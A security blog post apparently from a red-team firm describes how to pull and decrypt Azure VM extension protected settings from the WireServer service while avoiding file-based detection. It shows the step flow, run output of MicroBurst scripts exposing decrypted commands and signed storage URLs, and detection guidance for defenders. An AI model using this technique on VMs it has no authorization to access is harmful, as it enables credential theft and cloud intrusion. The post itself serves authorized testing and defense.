Let’s start with a hypothetical situation – Assume that you’ve compromised an Azure Virtual Machine in a high security environment, during an authorized Pentest/Red Team/etc. This virtual machine is expected to have better than average detective controls around local files, but might be lacking some telemetry on the network side. Without really touching the filesystem, how can we gather some sensitive (Azure specific) information from the Virtual Machine? 

TL;DR 

  • This blog provides scripts for scraping and decrypting protected settings from the Azure WireServer service 
  • Scripts are provided for both Windows and Linux VMs  
  • Much like the file-based decryption method, this requires local administrator permissions 
  • The tooling provided here does touch disk, but could be converted to completely avoid the file system 

When we are looking to gather sensitive information from an Azure VM, one of the first places we want to look is the “Protected Settings” for VM extensions. While they do require local administrator privileges to decrypt, they are often a good source of credentials and other sensitive information. These protected settings are stored in local files, so it’s possible (and recommended) to have those files monitored for access attempts. While we haven’t seen extensive detections based on the files, we do want to stay ahead of detections, and our hypothetical situation is dictating that we need to stay away from file reads. In this blog, we will cover some tooling that allows us to access the VM extension “Protected Settings”, without touching the local files. 

What is the WireServer?

The Azure WireServer service is a public IP address that almost acts like a cloud-local service, as it is only routable from Azure Virtual Machines. The service is used to provide a few services for VMs, which includes sending configuration settings for VM extensions to the VM. The VM extension settings can be a very valuable source of sensitive information during an assessment. We’ve previously covered this in Jake Karnes’ “Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings” blog post, but that post focuses on the encrypted configuration files that end up on the VMs, versus the configurations coming from the WireServer service. 

Communicating with the WireServer 

Now that we know a little more about the Wireserver service, and what we’re trying to accomplish, how do we make use of the service? 

Having had experience with a few Azure resource configuration services, I can say that the WireServer service is a little odd in how it operates. The general service is available via a Public IP that is only available from Microsoft’s Azure IP space. Additionally, the service requires local administrator/root permissions to route the traffic, and a specific set of headers as well. Finally, the encryption certificates are stored in an uncommon “bundled” format that you provide a public key to encrypt. If any of that was confusing for you, we tried to break it down to its simplest form here. 

General process flow: 

Request the Goal State Configuration from the WireServer service
/machine/?comp=goalstate | Baseline configuration that will point you to other resources
Use the URLs from the Goal State to make further requests 
Get the Extension configurations
Collect the encrypted settings and applicable cert thumbprint
Get the Certificate bundle
Provide a public cert for encryption of the bundle
Decrypt the cert bundle
with the corresponding private cert   
Use the cert from the bundle to decrypt the VM extension settings 
Output the decrypted settings for review 

As we can see, the end result of this process is the decrypted version of the Protected Settings for the VM extensions. While this is handy for sensitive data gathering on “normal” VMs, this is particularly useful in situations where a VM (that supports an Azure service resource) is hosted by Microsoft. The Wiz blog from the prior research section shows how this exact process led to some significant information disclosures on Microsoft infrastructure. 

applicable research timeline

We should also note that we’re not the first researchers to investigate this service, or the decryption of the extension. We are just implementing the research from the blogs below into MicroBurst as we’ve found it to be useful during engagements.

2021-05-11
Intezer | CVE-2021-27075

Uses the WireServer decryption process to access protected settings from Linux VMs 

2021-05-11
2023-05-15
cybercx | Azure SSRF Metadata

A post that outlines the decryption process for WireServer protected settings on Linux VMs and provides an example for the vmSettings endpoint and the RunCommand extension

2023-05-15
2024-08-19
Google | Escalating Privileges Azure Kubernetes

Google (Mandiant) blog on using the WireServer service to extract Kubernetes management certificates from the protected settings for the Azure Kubernetes Service (AKS) clusters

2024-08-19

To automate this very complicated process, we put together options in the MicroBurst toolkit: 

PS C:\Users\karluser\Desktop\blog> Get-AzureVMExtensionSettingsWireServer -Verbose 
VERBOSE: Testing connectivity to WireServer... 
VERBOSE: 	Connected to WireServer 
VERBOSE: 		Retrieving goalstate configuration... 
VERBOSE: 		Retrieving extension configurations... 
VERBOSE: 		Discovered VM Extensions: 
VERBOSE: 			Extension: Microsoft.Compute.CustomScriptExtension 
VERBOSE: 			Thumbprint: B9F1F313496EFF1A8B498C24BBD467E04ADB7131 
VERBOSE: 			Protected Settings: YES 
VERBOSE: 			Extension: Microsoft.Azure.OpenSSH.WindowsOpenSSH 
VERBOSE: 			Thumbprint: B9F1F313496EFF1A8B498C24BBD467E04ADB7131 
VERBOSE: 			Protected Settings: YES 
VERBOSE: 	Retrieving certificate bond package... 
VERBOSE: 		Generating temporary certificate... 
VERBOSE: 			Created certificate: 43AB79679204A45E45E114FFDB56D3AE8691EA3E 
VERBOSE: 		Requesting certificate bond package... 
VERBOSE: 			Retrieved certificate bond package 
VERBOSE: 	Decrypting bond package... 
VERBOSE: 		Successfully decrypted bond package 
VERBOSE: 	Extracting certificates... 
VERBOSE: 		Saved bond package: C:\Users\karluser\Desktop\blog\certificate_bond.bin 
VERBOSE: 	Extracted certificate: DC=Windows Azure CRP Certificate Generator (B9F1F313496EFF1A8B498C24BBD467E04ADB7131) 
VERBOSE: 		Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.crt 
VERBOSE: 		Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.pem 
VERBOSE: 		Exported: C:\Users\karluser\Desktop\blog\cert_DC=Windows Azure CRP Certificate Generator_B9F1F313.txt 
VERBOSE: 		Could not export private key as key/pfx: cert_DC=Windows Azure CRP Certificate Generator_B9F1F313 
VERBOSE: 	Processing VM extensions... 
VERBOSE: 		SUCCESS: Decrypted ProtectedSettings for the Microsoft.Compute.CustomScriptExtension extension 

ExtensionName                   : Microsoft.Compute.CustomScriptExtension 
ProtectedSettingsCertThumbprint : B9F1F313496EFF1A8B498C24BBD467E04ADB7131 
ProtectedSettings               : MIIC[Truncated]YJOkane0q 
ProtectedSettingsDecrypted      : {0, {"commandToExecute":"powershell -ExecutionPolicy Unrestricted -File whoami.ps1  ","fileUris":["https://notarealstorageaccount.blob.core.windows.net/cse/whoami.ps1?sp=r\u0026st=2025-09-17T17:58:19Z\u0026se=2025-12-16T17:58:19Z\u0026sv=2024-11-04\u0026sr=b\u0026sig=idQw8lGU0FnoK4X%2BaaQijzLl9cbbHaKN4RMdd34wrno%3D"]}} 
PublicSettings                  : {} 

VERBOSE: 		SUCCESS: Decrypted ProtectedSettings for the Microsoft.Azure.OpenSSH.WindowsOpenSSH extension 
ExtensionName                   : Microsoft.Azure.OpenSSH.WindowsOpenSSH 
ProtectedSettingsCertThumbprint : B9F1F313496EFF1A8B498C24BBD467E04ADB7131 
ProtectedSettings               : MII[Truncated]9NMqk5NZA== 
ProtectedSettingsDecrypted      : {0, {}} 
PublicSettings                  : {} 

VERBOSE: Certificate extraction and ProtectedSettings decryption completed 
$ sudo ./Get-AzureVMExtensionSettingsWireServer-Linux.sh -v -o certs/ 
[INFO] Azure VM Extension Settings WireServer Extraction Tool 
[INFO] ================================================================ 
[VERBOSE] Created temporary directory: /tmp/microburst-080D6D 
[VERBOSE] Requesting goalstate configuration from WireServer... 
[VERBOSE]    Retrieved goalstate configuration 
[VERBOSE] Requesting ExtensionsConfig from WireServer... 
[VERBOSE]    Retrieved extensions configuration 
[VERBOSE] Extracting protected settings from PluginSettings... 
[VERBOSE]    Found PluginSettings in extension configuration 
[SUCCESS] Found extension with protected settings: Microsoft.Azure.Extensions.CustomScript 
[VERBOSE] Certificate thumbprint: B8A6C00BA1B792FC0D73DD1AC087468DA34E8E2B 
[VERBOSE] Generating transport certificate and key pair... 
[VERBOSE]    Generated transport certificate and key pair 
[VERBOSE] Requesting certificate bundle from WireServer... 
[VERBOSE]    Retrieved certificate bundle (4315 bytes) 
[VERBOSE] Decrypting certificate bundle... 
[VERBOSE]    Successfully decrypted certificate bundle using CMS 
[VERBOSE] Extracting certificates and private keys from bundle... 
[VERBOSE]    Extracted certificates as PKCS#12 bundle 
[VERBOSE]    Extracted and stored 1 certificate(s) and 1 private key(s) as local files 
[INFO] Saving extracted certificates and private keys to: certs/ 
[INFO] 
[SUCCESS] === DECRYPTED PROTECTED SETTINGS === 
[VERBOSE] Decrypting protected settings... 
{"commandToExecute":"sh whoami.sh","fileUris":["https://notarealstorageaccount.blob.core.windows.net/cse/whoami.sh?sp=r&st=2025-10-03T20:41:24Z&se=2026-01-01T20:41:24Z&sv=2024-11-04&sr=b&sig=TY29jl46inaLN2bb32xf%2B0psaa88MBn852CKapokbwQ%3D"]} 
[SUCCESS] ==================================== 
[INFO] 
[SUCCESS] Successfully decrypted VM extension protected settings! 
[INFO] 
[INFO] Extracted certificates and private keys saved to: certs/ 
[VERBOSE] Cleaned up temporary directory: /tmp/microburst-080D6D 

Tool/Attack Detection and Hunting Guidance  

It’s important to note that the detections for this specific process are pretty limited. Outside of potentially writing files to the host, the scripts just make a handful of HTTP requests to an already isolated host. 

To help the defenders, here are some general indicators that someone is using this tooling on your Azure VMs: 

  • The running of the specific PowerShell or Bash scripts 
    • This might include the writing of the script files to disk 
  • Outbound HTTP traffic to the WireServer endpoint 
    • This might just blend in with existing WireServer traffic 
    • The scripts both have specific patterns they follow, so you may be able to create a detection around that 
  • Writing the temporary and certificate files locally 
    • Both scripts have the ability to export the private certificate files from the bundles 
    • Both scripts use temporary files as part of their process 

It is important to note that general “good hygiene” practices with your VM extension data will go a long way in the prevention of the sensitive data exposure. Where possible, use references or temporary resources as inputs for your extensions. This will help limit access to the sensitive data, if an attacker attempts to access it later. Additionally, running this tooling on your VMs to identify sensitive data sources could also be helpful. Finally, including a canary credential in a custom script extension could give you additional indications of compromise.

Conclusion

Going back to our original situation, we now have the ability to get access to the decrypted VM extension protected settings, without having to read the local files, or touch the certificate store. We will acknowledge that the tooling provided does write some files to disk, but the code should be easy to modify to stay fully off disk, if that’s what you need. 

Given the utility that this technique has had in prior research, these scripts will hopefully be useful for pivoting from an Azure VM, or for attacking Azure services (AML, Cosmos DB, etc.) that are backed by VMs. For the defenders and Azure engineers, try to make sure that your VM extensions do not have any sensitive data to begin with. 

In the spirit of full transparency, the development of both scripts was done with the assistance of LLM coding assistants. Not fully “vibe coded”, but the assistant did most of the heavy lifting. The decryption process for both operating systems is a bit complicated, so having these tools helped immensely. As with any open-source tool, make sure that you review the code to understand what it’s doing, before you run it. That said, we’ve thoroughly reviewed the code for any potential issues and we welcome any changes that anyone wants to submit to the MicroBurst repo to improve the code. 

References: